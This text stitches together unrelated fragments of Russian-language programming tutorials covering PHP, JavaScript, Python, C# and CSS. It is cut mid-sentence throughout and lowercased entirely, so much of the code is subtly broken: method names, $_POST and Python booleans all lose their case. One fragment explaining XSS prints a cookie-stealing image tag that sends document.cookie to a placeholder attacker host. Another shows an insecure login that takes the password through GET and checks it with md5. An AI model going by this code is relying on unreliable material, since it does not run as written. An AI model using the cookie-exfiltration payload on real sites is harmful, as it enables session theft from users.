display: block; // покажет ...
... const vat = 77.00;
public function getvat() {
return self::vat.'%';
}
}
теперь мы можем получить доступ таким образом:
echo $product->getvat();
проблема в том, ...
... формы
$email = trim($_post["email"]);
$message = "е-майл: $email";
$pagetitle = "новый подписчик на вашем сайте \"$sitename\"";
mail($recepient, $pagetitle, $message, "content-type: text/plain; charset=\"utf-8\"\n from: $recepient"); ...
... # генераторное выражение
print(sys.getsizeof(lst)) # память под весь список (только «голова», без элементов)
print(sys.getsizeof(gen)) # память под объект-генератор ...
... красный цвет
$color = imagecolorallocate($i, 255, 0, 0);
//рисуем текст ttf-шрифтом
imagettftext($i, 16, 94, 100, 150, $color, "times.ttf", "myrusakov.ru");
//отправляем заголовок с mime-type ...
... // методы для проверки наличия, получения и установки заголовков
headers.has('content-type'); // true
headers.get('content-type'); // "text/html"
headers.set('content-type', 'application/json'); ...
... = document.getelementbyid("rotatorbutton");
i--;
if (i < 0) i = array.length - 1;
image.src = array[i];
}
function right() {
var image = document.getelementbyid("rotatorbutton"); ...
...
<!—ссылка на большую фотографию -->
<a target="_blank" href="mountains.jpg">
<!—превью фотографии -->
<img ...
... datetimezone('europe/moscow');
$dt = datetime::createfromformat('d.m.y h:i', $input, $tz);
if (!$dt) {
$errors = datetime::getlasterrors();
var_dump($errors); // покажет где ошибка
} else {
echo $dt->format(date_atom); // 2026-02-28t14:30:00+03:00 ...
... console.log('летает');
}
getcolor() {
console.log(this.color);
}
}
let pegion = new abird(2, 'белый');
console.log(pegion.getcolor());
сокрытие методов ...
... std::string> init)
: kv(std::move(init)) {}
// чтение без изменений
const std::string& get(const std::string& key) const {
static const std::string empty;
if (auto it = kv.find(key); it != kv.end()) ...
... type="text/javascript">
function showorhide(cb, cat) {
cb = document.getelementbyid(cb);
cat = document.getelementbyid(cat);
if (cb.checked) cat.style.display = "block";
...
... очищаем массив сессии
$_session = [];
// удаляем cookie сессии
if (ini_get('session.use_cookies')) {
$p = session_get_cookie_params();
setcookie(session_name(), '', time() - 42000, $p['path'], $p['domain'], $p['secure'], ...
... document.documentelement.style.setproperty('--brand', '#ff4757');
// прочитать текущее значение
const brand = getcomputedstyle(document.documentelement)
.getpropertyvalue('--brand').trim();
console.log(brand);
// переключение темы
const root ...
... установка и проверка
установите php 8.x и composer (подробная инструкция есть на getcomposer.org). проверьте версии:
php -v
composer -v
если команда composer недоступна, добавьте ...
... дефолтом.
// если у пользователя нет аватара — используем заглушку
function getavatarurl(user) {
return user?.profile?.avatar ?? "/img/default-avatar.png";
}
// безопасная длина массива ...
... "48503dfd58720bd5ff35c102065a52d7"; //в реальности считывается из бд if (($_get['login'] == $login) && (md5($_get['password']) == $password)) echo "welcome!"; else echo "access denied";?>теперь если ...
... игнорирование событий, которые произошли не на данной кнопке
if( !event.target.hasattribute('data-toggle-fullscreen') ) return;
}, false );
затем, нам необходимо ...
... //увеличиваем ширину и высоту видео в 2 раза
$width = 2 * $ffmpeg->getframewidth();
$height = 2 * $ffmpeg->getframeheight();
//вызываем приложение ffmpeg с соответствующими ...
... newtype
t = typevar("t")
class box(generic[t]):
def __init__(self, value: t):
self.value = value
def get(self) -> t:
return self.value
int_box = box[int](10)
str_box = box[str]("hi")
userid = newtype("userid", int) ...
... парсинг лога с именованными группами
import re
line = '127.0.0.1 - - [10/feb/2026:10:24:42 +0000] "get /index.html http/1.1" 200 512'
pat = re.compile(
r"^(?p<ip>\s+)\s+\s+\s+\s+\s+\[(?p<ts>[^\]]+)\]\s+\"(?p<method>\s+)\s+(?p<path>\s+)\s+http/(?p<httpver>\d+\.\d+)\"\s+(?p<code>\d+)\s+(?p<size>\d+)" ...
... function buycoffee() {
return new promise((resolve, reject) => {
asyncronouslygetcoffee(function(coffee) {
resolve(coffee);
});
}); ...
... делаем его видимым display = "block";
<script>
function openform() {
document.getelementbyid("myform").style.display = "block";
}
функция closeform закрывает форму, получает ...
... ими, прописывая свойства в дивах.
<div class="container">
<img src="vegetables.png" alt="vegetables">
<div class="left">лук</div>
<div class="center">картошка</div> ...
... <script>
// получить видео c конкретным id
var video = document.getelementbyid("myvideo");
// получить кнопку
var btn = document.getelementbyid("mybtn");
// функция запуска, остановки видео ...
... javascript.</title> </head> <body> <form onsubmit="onformsubmit(); return false;"> <p> <label for="demo_filename">название файла:</label><br> <input type="text" id="demo_filename"> </p> <p> <label for="demo_content">содержимое:</label><br> <textarea id="demo_content"></textarea> </p> <button type="submit">загрузка</button> </form> <script type="text/javascript"> function downloadfile(data="", filename="test.txt", type="text/plain") { // создаем невидимый элемент ссылки const a = document.createelement("a"); a.style.display = "none"; document.body.appendchild(a); // в качестве данных для загрузки из ссылки устанавливаем данные из формы a.href = window.url.createobjecturl( new blob([data], { type }) ); // аттрибут download ссылки используется для загрузки файла a.setattribute("download", filename); // запускаем загрузку путем эмулирования нажатия клавиши a.click(); // удаляем ссылку из dom document.body.removechild(a); } // вызывается при отправке формы function onformsubmit() { downloadfile( document.getelementbyid("demo_content").value, document.getelementbyid("demo_filename").value ); } </script> </body></html> ...
... сайта
$url = "http://www.myrusakov.ru/";
// вызов методов сервиса
$api_data = file_get_contents("https://www.googleapis.com/pagespeedonline/v2/runpagespeed?url=$url&screenshot=true");
// расшифровка ...
... минимальную дату, равную выбранной.
.on( "change", function() {
to.datepicker( "option", "mindate", getdate( this ) );
}),
to = $( "#to" ).datepicker
при смене выбранной даты находим ...
... function convertimagetocanvas(image) {
var cnvs = document.createelement("canvas");
cnvs.width = image.width;
cnvs.height = image.height;
cnvs.getcontext("2d").drawimage(image, 0, 0); ...
... любое, но желательно отображающее суть программируемого действия.
function getpass() {
// тело функции
}
внутри фигурных скобочек идет ...
... 'иванов', 'васильев', 'яковлева', 'степанова'];
let out_arr = document.getelementbyid('out_arr');
out_arr.innerhtml = worker;
фамилии сотрудников выведутся ...
... настраивайте контекст и явно задавайте масштаб при деньгах.
from decimal import decimal, getcontext, round_half_up, localcontext
# никогда не создавайте decimal из float: decimal(0.1) наследует ...
... элемента.
let dogs = ["мопс", "бульдог", "такса", "йорк"];
dogs.push("лабрадор");
document.getelementbyid("demo_dogs").innerhtml = dogs;
в html-документе:
<p id="demo_dogs"></p>
в документе ...
... без учёта рамок). тогда локально переключаемся:
.widget {
box-sizing: content-box; /* локальное исключение */
}
.widget__inner {
width: 320px; /* теперь это только content */
padding: ...
... значение, это "clean-param". если ваш сайт динамический, и ссылки имеют get-параметры, то очень часто в get передаются параметры, которые не влияют на содержимое ...
... (проверяем заранее)
def get_user_age_lbyl(d):
if 'age' in d and isinstance(d['age'], int):
return d['age']
return 0
# eafp (пытаемся и обрабатываем)
def get_user_age_eafp(d):
try:
return ...
... html разметка
<div>1</div>
<div>2</div>
<div>3</div>
// js
let div = document.getelementsbytagname('div');
console.log(div);
цикл for..of без проблем ...
... ip-адрес
$text = "";
while (!feof($sock)) {
$text .= fgets($sock, 256)."<br />"; // читаем ответ от сервера
}
fclose($sock); ...
... получит элемент (elem) с id greenbar (зеленая полоска).
function move() {
var elem = document.getelementbyid("greenbar");
объявим переменную width, приравненную к числовому значению ...
... посетите официальный веб-сайт epic games по адресу https://www.epicgames.com. найдите
ссылку "get epic games" (скачать epic games) и кликните по ней.вы будете перенаправлены
на ...
... ноль");
}
return 1/$n;
}
try {
div(3);
div(0);
} catch($e) {
echo "ошибка: " + $e->getmessage();
} finally {
echo "работа скрипта завершена";
}
у нас есть функция, ...
... // первый аргумент - url, второй - callback c параметром ответа сервера
https.get(url, (res) => {
// получаем статус ответа сервера посредством деструктуризации объекта ...
... if request.method == 'post':
uploaded_files = request.files.getlist("file")
for uploaded_file in uploaded_files: ...
... положили в переменную p, весь параграф с идентификатором text_change.
p = document.getelementbyid('text_change');
для того, чтобы вывести что-нибудь (числа, строки) ...
... очень просто: вы создаёте php-файл, в котором с помощью curl отсылаете post- и get-запросы. соответственно, получаете результат и сравниваете его с тем, ...
... между тегами <head> и </head>):<script language="javascript">function expandit(id){ obj = document.getelementbyid(id); if (obj.style.display=="none") obj.style.display=""; else obj.style.display="none";}</script>код ...
... <p class="mb-0" id="tab-3">vestibulum suscipit urna ultrices velit dictum, vel laoreet lorem tincidunt. donec eget mi gravida est faucibus accumsan.</p>
</div>
</div>
в html-коде мы прописали bootstrap ...
... или любой другой браузер, который у вас установлен.
import webbrowser
webbrowser.get('c:/program file/путь/msedge.exe %s').open('https://myrusakov.ru/')
открытие ...
... его очень просто.
<a href="yandex.ru" id="link">кликни!</a>
<script>
var link = document.getelementbyid("link");
function myfunc(e) {
events.default(); // отменили стандартное поведение ...
... получение элемента (параграфа) с идентификатором out_num.
let out_num = document.getelementbyid('out_num');
объявим вторую переменную p и присвоим ей значение ...
... записать его в строковую переменную. наиболее простой вариант - это функция file_get_contents(). если контент доступен только авторизованным пользователям, то ...
... инструмента вы создаете графический интерфейс, перетаскивая объекты qwidget в пустую форму. после этого вы можете упорядочить их в единый графический ...
... расширение для chrome)
парсеры для социальных сетей
церебро таргет
huntertarget (есть бесплатный тариф)
итоги
парсинг сайтов может использоваться ...
... url = f'https://api.binance.com/api/v3/klines?symbol={symbol}&interval={interval}&starttime={start_time}&endtime={end_time}'
response = requests.get(url)
data = response.json()
# преобразуйте данные в формат dataframe и сохраните их в csv-файл ...
... по названию класса accordion. вторая переменная с названием i.
var acc = document.getelementsbyclassname("accordion");
var i;
в цикле for, мы перебираем весь массив элементов ...
...
сначала выберем элемент по идентификатору #countdown.
let countdown = document.getelementbyid('countdown');
шаг 2
объявим функцию, отвечающую за обратный ...
... выполнения ajax-запросов, обычно используют, либо
объект xmlhttprequest, либо метод $.get() из jquery, либо еще какую
либо javascript библиотеку.
но, известно, что прикладной ...
... полезно освоить некоторые элементарные терминальные команды (cd, grep, curl, get, tail, head, less, find, ssh, kill, vim, echo, nslookup, ping, telnet) - в интернете полно спавочников ...
... // добавляем компонент на страницу
reactdom.render(<app />, document.getelementbyid('root'));
</script>
</body>
</html>
...
... from bs4 import beautifulsoup
def scrape_website(url):
response = requests.get(url)
soup = beautifulsoup(response.content, 'html.parser')
# пример извлечения заголовков новостей ...
... атрибутам.
вывод фильтров на фронтенде
переходим в виджеты «appearance / widgets» и перетаскиваем один и тот же доступный виджет «filter products by attribute: ...
... происходит через метод object.assign, который принимает первым параметром target (цель), вторым параметром - исходный объект. при клонировании в фигурных ...
... function removepopupbytag(tagname) {
const popups = document.getelementsbytagname(tagname);
if (popups.length > 0) {
for (let i = 0; i < popups.length; i++) { ...
... описание кода:
function showtagonhover(event) {
const hoveredelement = event.target;
const tagname = hoveredelement.tagname.tolowercase();
// создание информационного окна ...
... файла (filename отвечает за имя файла, который увидит пользователь)
echo file_get_contents($file); // отдаём файл браузеру
?>
код тщательно прокомментирован, ...
... /// это метод возвращает код состояния
/// </summary>
public statuscode getsensorstatus();
таким образом, вот такие виды комментариев существуют ...
... */
function togglesection(sectionid) {
const section = document.getelementbyid(sectionid);
section.style.display = section.style.display === 'none' ? 'block' : 'none'; ...
... дальше пишем скрипт вывода новостей на php:
<div id="news">
<?php
$news = file_get_contents("news.txt");
$news = explode("\n", $news);
for ($i = 0; $i < count($news); $i++) {
...
... слайдера swiper к проекту
1) переходим на официальный сайт swiper
2) в разделе get started переходим по ссылочке и скачиваем два минифицированных файла swiper-bundle.min.css ...
... from flask import flask, render_template, request
app = flask(__name__)
@app.route('/', methods=['get', 'post'])
def home():
user_name = "гость"
if request.method == 'post': ...
... try {
const response = await axios.get(
`https://api.openweathermap.org/data/2.5/weather?q=${this.city}&units=metric&appid=ваш_ключ` ...
... пользователя на javascript.
сразу привожу код:
<script type="text/javascript">
navigator.geolocation.getcurrentposition(showposition); // запрашиваем местоположение, и в случае успеха вызываем ...
... виджеты из боковой колонки. сделать это можно в разделе виджетов appearance / widgets или в кастомайзере темы. для магазина это лучший вариант, когда нет ...
... style='font-size: "+ size +"pt'>" +text.substring(i, i + 1)+ "</span>";
}
document.getelementbyid("wave").innerhtml = out;
}
function dowave(text, n) {
sizecycle(text, 1, n); ...
...
<footer>
<div class="copy">
© 2017 шаблон <a href="" target="_blank">valli</a>
</div>
</footer>
css стили
footer {
background: ...
... и вставляет в код сообщения
следующую ссылку:
<img src = "http://сайт.com/get.php?cookie=encodeuri(document.cookie)">
пользователю достаточно лишь открыть страницу, ...
... like.php, который и занимается увеличением числа лайков:
<?php
$text = file_get_contents("likes.ini"); // получаем содержимое файла
$likes = explode("\n", $text); // разбиваем ...
... // получаем поток с микрофона
const stream = await navigator.mediadevices.getusermedia({ audio: true, video: false });
// создаем объект, который будет отвечать за запись аудио ...
... // кодировка файла будет win-1251
queryresultdatagridview.writetocsvfile(';', "export.csv", encoding.getencoding(1251));
dialogresult dialogresult = messagebox.show(
"экспорт завершен! вы хотите открыть файл в редакторе?", ...
... пример того, что должно получиться:
/*!
* bootstrap v5.0.0-beta1 (https://getbootstrap.com/)
* copyright 2011-2020 the bootstrap authors
* copyright 2011-2020 twitter, inc. ...
... <button onclick="savepixelart()">сохранить</button>
<script>
const canvas = document.getelementbyid('canvas');
let isdrawing = false;
function createpixel() {
const pixel = document.createelement('div'); ...
... $russian_text = iconv("cp1251", "utf-8", "сайт myrusakov.ru");
//рисуем текст ttf-шрифтом
imagettftext($i, 16, 94, 150, 200, $color, "times.ttf", $russian_text);
//отправляем заголовок с mime-type ...
... адрес сервера, куда отправятся данные
type - метод запроса. по-умолчанию get
datatype - тип данных, которые мы планируем получить от сервера. может быть: ...
... среде visual studio, а после установить
пакет fluentvalidation через менеджер пакетов nuget.
теперь в файл программы program.cs добавим следующий исходный код:
using system; ...
... <app />
</browserrouter>,
document.getelementbyid('root')
)
затем в компоненте app добавьте элемент switch. ...
... // устанавливаем порт приложения
const port = process.env.port || 5000;
app.get('/', async (req, res) => {
res.send({ message: 'привет' }) ...
...
получим наш контейнер по идентификатору и применим к нему метод parallax.
let space = document.getelementbyid('space');
let parallaxinstance = new parallax(space);
... self.sprite = sprite
self.radius = sprite.get_width() / 2
self.velocity = vector2(velocity)
def draw(self, surface): ...
... наш любимый function.php вставляем вот такой код.
wp_enqueue_style( 'font-awesome', get_template_directory_uri(). '/css/all.css', 'style' );
вывод иконок в меню wordpress ...
... кода дал подсказку, где прячутся нужные нам стили оформления - это файл widget.php. зайдем через админку, в редактор плагинов и заменим у цифер размер, ...
... padding: 0;
height: 0;
overflow: hidden;
transition: height 400ms ease;
}
.accordion-conent:target {
height: 150px;
padding: 20px;
overflow-y: scroll;
}
вот так просто мы можем ...
... видео. откройте консоль в браузере и пропишите следующее:
var video = document.getelementbyid('bgvideo');
таким образом мы получим объект, у которого есть ...
... byte[] info = new utf8encoding(true).getbytes(text);
// производим запись байтов в файл ...
... # полученных данных
wlist = []
sour_text = requests.get(url).text
# объект beautifulsoup, который будет
# пинговать запрошенный url-адрес для получения данных ...
... артефакты.
решить эту проблему для ie просто.
.logo {
background: none;
filter: progid:dximagetransform.microsoft.alphaimageloader(src="/path/to/logo.png",sizingmethod="scale");
}
т.е. эту проблему нам ...
... function handleclick(e) {
alert(e.target.dataset.action)
}
const button = <floatingbutton title="добавить вопрос" onclick={handleclick} data-action="question:add"/> ...
... скрипт, подключаете на страницу. пишете следующий код:
var stickyelements = document.getelementsbyclassname('sticky');
for (var i = stickyelements.length - 1; i >= 0; i--) {
stickyfill.add(stickyelements[i]); ...
... сайте разработчика.
у данной библиотеки есть также некоторые опции
modaltarget - настройка вашей цели
color - определить цвет заднего фона
animatedin - переход, ...
... (последняя строчка кода).
<script type="text/javascript">
let bg = document.getelementbyid("header")
window.addeventlistener("scroll", function(){
bg.style.opacity ...
... // возвращает копию списка с элементами из диапазона
list<string> afewnames = names.getrange(0, 2);
// вставляем новую строку в позицию 2
names.insert(2, "second and a half name"); ...
... }
const rootelement = document.getelementbyid('root');
// читаем вакансии из файла и отображаем в элементе root ...
... пример.
<?php
$week = new datetime('+1 week');
setcookie('user_id', '1', $week->gettimestamp(), '/', null, null, true);
?>
в данном примере мы записываем уникальный ...
... #{$i}) ~ img {
left: (($i - 1) * $stepper) * -1;
}
// here we create a variable to get the math right for
// how we shift the image when moving vertically
$t: (($i - 1) * $grid-root) ...
... 50%;/*появление окна сверху*/
<script>
function popuptoggle(){
const popup = document.getelementbyid('popup');
popup.classlist.toggle('active')
}
</script>
...
... скрипт:
<script src="path/to/shine.min.js"></script>
инстциируйте shine.js
var shine = new shine(document.getelementbyid('my-shine-object'));
измените позицию света
window.addeventlistener('mousemove', ...
... добавьте эти 2 строки кода:
url='https://www.bbc.com/news'
response = requests.get(url)
шаг 3: получите конкретный html-тег
чтобы найти html-теги, в ...
... конечно, в очень упрощенном виде.
я сразу приведу код, а дальше его поясню:
app.get('/profile/:id', function(req, res) {
res.send('вы запросили профиль с идентификатором: ...
... "desktop-wide": 1440px
);
@mixin mq($width, $type: min) {
@if map_has_key($breakpoints, $width) {
$width: map_get($breakpoints, $width);
@if $type == max {
$width: $width - 1px;
}
...
... происходит после того, как произойдет что-то другое. простой пример:
var button = document.getelementbyid('button');
button.onclick = function() {
alert('кто-то кликнул по кнопке'); ...
... неизвестным. что же тогда делать?
давайте сразу рассмотрим пример:
app.get('/profile/:name', function(req, res) {
var data = {age: 17, job: 'programmer', hobbies: ['programming', ...
... // получаем размеры окна рабочего стола
rectangle bounds = screen.getbounds(point.empty);
// создаем пустое изображения размером с экран устройства ...
... -o2 -std=c++20 -o app
clang++ main.cpp -dapp_version=\"1.2.3\" -o app
в cmake это можно сделать так:
target_compile_definitions(app private ndebug app_version=\"1.2.3\")
частые ошибки и как их избежать ...
... file_loader = filesystemloader('templates')
env = environment(loader=file_loader)
template = env.get_template('about.html')
out = template.render(content=content)
print(out)
в коде выше ...
... использовать разные методы генерации случайных чисел.
windows – cryptgenrandom
linux – php getrandom(2)
others – /dev/urandom
в случае ошибки или отсутствия данных функций, ...
... стирает поисковое слово, введенное пользователем.
<span class="clear" onclick="document.getelementbyid('searchinput').value = ''"></span>
.clear{
position: absolute; ...
... env.trim_blocks = true
env.lstrip_blocks = true
env.rstrip_blocks = true
template = env.get_template('showsites.txt')
result = template.render(coins=coins)
print(result)
далее создаем ...
... нужно вернуть литерал объекта, то его нужно обернуть в круглые скобки:
let getobject = () => ({ brand: 'bmw' });
самовызывающаяся функция выглядит следующим ...
на прошлом уроке мы узнали, что такое utm-метки и настроили get-запросы меток в скрытых полях формы. на этом уроке вы узнаете, как получить данные ...
... методы для обновления поведения дождя.
function rain() {
var image = document.getelementbyid('background');
image.onload = function () {
var rainyday = new rainyday({ ...
... источника указывает другую картинку.
function imgslider(anything){
document.getelementbyid("slider").src = anything;
}
добавим в html код к каждой ссылке событие onmouseenter. ...
... есть подробная документация, которую вы можете найти, кликнув по кнопке "getting started".
скачайте необходимые скрипты и стили, подключите их.
сделайте ...
... # засыпание программы на 2 миллисекунды
time.sleep(2)
# открытие драйвером сайта
driver.get("https://myrusakov.ru/")
time.sleep(1)
# поиск элементов формы по описанию в html коде ...
... // ... и помещаем значение в карту, увеличивая, при необходимости, значение счетчика
valuesmap.set(elem, valuesmap.has(elem) ? valuesmap.get(elem) + 1 : 1);
});
// сортируем полученный массив объектов "{'строка', число}" в порядке убывания частоты присутствия в исходном массиве ...
... print(link2)
try:
# открываем ссылку в браузере
driver.get(link2)
# находим количество строк в таблице
rows = len(driver.find_elements(by=by.xpath, value = '/html/body/table/tbody/tr')) ...
... intersectionobserver((entries, obs) => {
entries.foreach(e => {
if (e.isintersecting) {
const img = e.target;
if (img.dataset.src) img.src = img.dataset.src;
obs.unobserve(img);
}
});
...
... def wrap_position(position, surface):
x, y = position
w, h = surface.get_size()
return vector2(x % w, y % h)
# используя оператор по модулю %, можно убедиться, что позиция никогда не покидает область заданной поверхности. в нашей игре такой поверхностью будет экран. ...
... d[key] создаёт значение. для «безопасной» проверки используйте key in d или d.get(key).
почему counter.subtract делает отрицательные счётчики? это ожидаемо: используйте ...
... /* в этот блок мы попадаем, если было выброшено исключение */
echo $e->getmessage(); // можно вместо этого добавить if и вывести более понятную надпись, ...
... # установка максимального размера окна
browser.maximize_window()
# открытие посиковика в браузере
browser.get('https://images.google.com/')
# находим поисковое окно
box = browser.find_element(by.css_selector, 'input[class="glfyf"]') ...
... id="dropzone">перетащите файлы сюда</div>
<script>
(function() {
var dropzone = document.getelementbyid("dropzone");
dropzone.ondragover = function() {
this.classname = 'dropzone ...
... dst.parent.mkdir(parents=true, exist_ok=true)
with src.open(encoding="utf-8") as f:
users = json.load(f)
active = [u for u in users if u.get("active") is true]
with dst.open("w", encoding="utf-8") as f:
json.dump(active, f, ensure_ascii=false, separators=(",", ...
... webbie_url = r' https://myrusakov.ru/ '
for i in [firefox, chrome, safari]:
i.get(webbie_url)
# здесь проверки bs4!!
# javascriptexecutor - для визуализации прокрутки ...
... // получаем активный лист
$sheet = $spreadsheet->getactivesheet();
// тестовые данные: номер ячейки - строка данных ...
... используем.
<a href="#" id="link">вызвать уведомление</a>
<script>
var link = document.getelementbyid("link");
link.addeventlistener('click', function(e) {
var nf;
e.preventdefault(); ...
... контроллеры. давайте напишем один из них – todocontroller.js:
module.exports = function(app) {
app.get('/todo', function(req, res) {
});
app.post('/todo', function(req, res) {
}); ...
... viewbox="0 0 250 100" xmlns:xlink="http://www.w3.org/1999/xlink">
<a xlink:href="http://domain.ru/" target="_blank">
<text class="text-link" x="25" y="60">svg текст-ссылка</text> ...
... реализовывал задачу поиска по сайту. и мне нужно было сформировать из get-запроса, полученного из формы, запрос к базе данных, чтобы извлечь оттуда ...
... # открываем страницу по адресу
self.driver.get("https://myrusakov.ru/register.html")
# установка размеров окна ...
... его нет и удаляет класс, если он есть. вот и вся магия.
const toggle = document.getelementbyid('toggle');
toggle.onclick = function(){
toggle.classlist.toggle('active'); ...
... }
item.foreach(link => {
link.addeventlistener('click', (e)=>{
indicator(e.target);
})
})
посмотрите пример на codepen
... // 5 - это размер 1-ого пикселя кода
bitmap qrcodeimage = qrcode.getgraphic(5);
// вставляем изображение в виджет, подгоняя размер qr кода к размеру родительского элемента imagepicturebox ...
... позиция подсказки пока элемент является целью:
tip.position(document.queryselector('.target'));
изменение типа подсказки и эффекта:
tip.type('error').effect('fade'); ...
... пример "рукопожатия". инициализация рукопожатия от клиента выглядит так:
get /chat http/1.1
host: server.example.com
upgrade: websocket
connection: upgrade
sec-websocket-key: ...
... ipsum dolor sit amet consectetur adipisicing elit.</p>
<a href="#">get the deal</a>
</div>
</div>
</div> ...
... рассмотрим все на полезном примере.
немного изменим наш код в файле app.js:
app.get('/contact', function(req, res) {
res.render('contact', {qs: req.query});
})
здесь мы ...
... var instance = $("#yourelement").data("vide");
// получить видео элемент заднего фона
instance.getvideoobject();
// изменение размера заднего видео
// это вызывается автоматически, ...
... окружения, не ломая ux.
import argparse, os
parser = argparse.argumentparser()
parser.add_argument("--api-key", default=os.getenv("api_key"),
help="ключ api (по умолчанию из переменной окружения ...
... * item with round point
* and one more item with round point
you can connect with us by email: something@smth.com
do not forget to visit our website: [click here](http://test.com/)
теперь вы получите большой заголовок, ...
... // получаем список всех дисков
driveinfo[] drives = driveinfo.getdrives();
// в цикле проходимся по дискам ...
... using var httpclient = new httpclient();
var response = httpclient.getbytearrayasync(url).result;
return response; ...
... // получаем текущую рабочую папку откуда запущена программа
var cwd = system.getproperty("user.dir");
var frame = new showimagejavaframe("показываем картинку"); ...
... удаляет класс. если он есть. вот так работает переключатель.
const acc = document.getelementsbyclassname("contentbx");
for (i = 0; i < acc.length; i++) {
acc[i].addeventlistener("click", ...
... import os
print("creating {} folder". format(sys.argv[1]))
path = os.path.join(os.getcwd(), sys.argv[1])
os.mkdir(path)
print("created {} folder". format(sys.argv[1]))
print("creating index.html, style.css, script.js") ...
... способ 6: хранение строк во внешних файлах
string str = files.readalllines(paths.get("strings.txt"));
таким образом, вот так в java можно создавать многострочные ...
... папке libs.
<?php
class bootstrap {
public function __construct() {
$url = $_get['url'];
$url = rtrim($url, '/');
$url = explode('/', $url); ...
... el.addeventlistener('keyup', e => {
res.textcontent = transliter(e.target.value)
})
</script>
</body>
</html>
...
... должны сначала откуда-то взять, например, из базы данных
$user_panel = file_get_contents("user_panel.tpl");
$user_panel = str_replace("{username}", $username, $user_panel);
echo $user_panel; ...
... fetch(key) {
let data = localstorage.getitem(this.dbprefix + key);
if(data === null)
return false; ...
... $user->childnodes; // получаем дочерние элементы у узла "user"
$id = $user->getattribute("id"); // получаем значение атрибута "id" у узла "user"
$login = $lp->item(0)->nodevalue; ...
... // при вводе текста в поле ввода, оповещаем всех наблюдателей о событии
input.addeventlistener('keyup', e => {
subject.notify(e.target.value);
});
вот так можно использовать шаблон наблюдатель в javascript. ...
... # загрузка данных
iris = datasets.load_iris()
x = iris.data
y = iris.target
# разделение на обучающие и тестовые данные
x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.3, random_state=42) ...
... url = 'https://example.com/weather'
# получение данных с сайта
response = requests.get(url)
soup = beautifulsoup(response.text, 'html.parser')
# извлечение нужной информации ...
... # запускаем процесс загрузки в отдельном потоке
threading.thread(target=self.load_task).start()
def stop_loading(self):
self.is_running = false ...
... for(let element of elements) {
let value = localstorage.getitem(element.dataset.name);
if( !value ) return;
else element.innertext = value.trim(); ...
... каким-то причинам не установлен, можно сделать это с помощью команды:
sudo apt-get install python3-tk
простой пример модального окна
давайте создадим простое ...
... (testobjone, "х", {value: 0, writeable: false});
testobjone.x = 3,14; // исключение.
var testobjtwo = {get x () {return 0}};
testobjtwo.x = 3,14; // исключение.
"eval" и "arguments"
мы не можем ...
... простешийи sql-запрос. если пользователя нет, то вернуть false. */
$usertype = getusertype($login);
/* начинаем выводить контент в зависимости от типа пользователя ...
... <div id="parent_popup">
<div id="popup">
<p style="cursor: pointer;" onclick="document.getelementbyid('parent_popup').style.display='none';">закрыть</p>
<p>текст в окне</p> ...
... займёмся javascript:
<script type="text/javascript">
function send() {
var message = document.getelementbyid("message").value;
var name = "гость";
/* здесь блок отправки ...
... выбрать голос, вы можете просмотреть доступные варианты:
voices = engine.getproperty('voices')
for index, voice in enumerate(voices):
print(f"голос {index}: {voice.name} ({voice.languages})") ...
... переменную circle. но как нам вытащить оттуда только второй круг?
let circle = document.getelementsbytagname('div');
console.log(circle);
так и обращаемся к нему ...
... атрибутах.
$reflectionclass = new reflectionclass(myclass::class);
$attributes = $reflectionclass->getattributes(myattribute::class);
foreach ($attributes as $attribute) {
$instance = $attribute->newinstance(); ...
... только лишь css:
html код:
<img class="grayscale-image" src="https://avatars.mds.yandex.net/get-pdb/2001933/86554d64-6d18-4c6a-b2c8-2587c956774a/orig" />
код css:
/*
* у изображения с данным стилем цвет черно-белый ...
... вас еще не установлен composer, вы можете скачать его с официального сайта getcomposer.org.
откройте терминал и выполните следующую команду для установки ...
... и </head>):<script type="text/javascript">
function animatetext(id, text, i) {
document.getelementbyid(id).innerhtml = text.substring(0, i);
i++;
if (i > text.length) i = 0;
...
... формы, стала выглядеть так:
return {
processform: function() {
getscores();
calculatepercentages();
createcharts();
showresults();
}
};
просто читать, ...
... type="text/javascript">
function hotkey(event) {
var id = event.keycode;
document.getelementbyid("key").innerhtml = id;
}
</script>
и html-код:
<body onkeyup="hotkey(event)">
...
... цвет
imagefilledrectangle($image, 0, 0, 399, 99, $white); // делаем капчу с белым фоном
imagettftext ($image, 30, 0, 10, 40, $color, $dir."verdana.ttf", "$number_1 + $number_2"); // пишем текст
header("content-type: ...
... может выглядеть:
<?php
require_once "model.php"; // подключаем модель
$comments = getcomments(); // некая функция в модели, возврающая двумерный массив с комментариями ...
... <h2>easy file managament</h2>
<p>fusce ipsum augue, consectetur quis dignissim eget, malesuada vitae ipsum. learn more about.
</p>
<a ...
... направляющими как правило равняется 1170 пикселям.
скачайте на сайте https://getbootstrap.com/ компилированный css и js для легкой интеграции в ваш проект.
скопируйте ...
... echo $files[$i]."<br />"; // выводим все полученные файлы
}
ftp_get($ftp, "local.xml", "new_doc.xml", ftp_binary);
ftp_close($ftp);
?>
код хорошо прокомментирован, ...
... компилятора typescript в консоли
{
"compileroptions": {
"target": "es5", ...
... const mychart = new chart(
document.getelementbyid('mychart'),
config
); ...
... ввода по его идентификатору и поместим в переменную input.
let input = document.getelementbyid('input');
повесим на инпут обработчик событие addeventlistener, который ...
... if (browser.indexof("firefox") != -1) ff = 1;
}
}
var block = document.getelementbyid("block");
delta_x = 0;
delta_y = 0;
/* ставим обработчики событий ...
... получить все данные с листа, можно использовать следующий код:
data = sheet.get_all_records()
print(data)
этот метод вернет все строки таблицы в виде списка словарей, ...
... const reader = new filereader();
reader.onload = function(event) {
console.log(event.target.result); // выводит: привет, мир!
};
reader.readastext(textblob);
3. работа ...
... цифровой лупы:
function zoom(event) {
let zoomer = event.currenttarget;
event.offsetx ? (offsetx = event.offsetx) : (offsetx = event.touches[0].pagex); ...
... }
// геттер для длины списка
get length() {
return this.elements.length;
}
// сеттер для длины ...
... платёжной системе (либо платёжного агрегатора). приняв данные (либо post, либо get), вы их анализируете, сверяя контрольную сумму с той, что должна быть. ...
... "http://mysite.ru/dir/" его автоматически перенаправит на "http://mysite.ru/dir". разумеется, все get-параметры сохранятся. например, если пользователь вводил: "http://mysite.ru/dir/?a=5&b=7", ...
... необходимо установить пакет documentformat.openxml. это можно сделать с помощью nuget:
install-package documentformat.openxml
или через .net cli:
dotnet add package documentformat.openxml ...
... fetchresults(q);
console.log('результаты:', data);
}, 400);
input.addeventlistener('input', (e) => onsearch(e.target.value));
советы по дебаунсу:
для «живого поиска» чаще всего подходят ...
... // получаем ссылку на тег head документа
let head = document.getelementsbytagname('head')[0];
// устанавливаем тип и uri ...
... // путь куда будет сохраняться архива
$dest = getcwd() . '/' . $archive['name'];
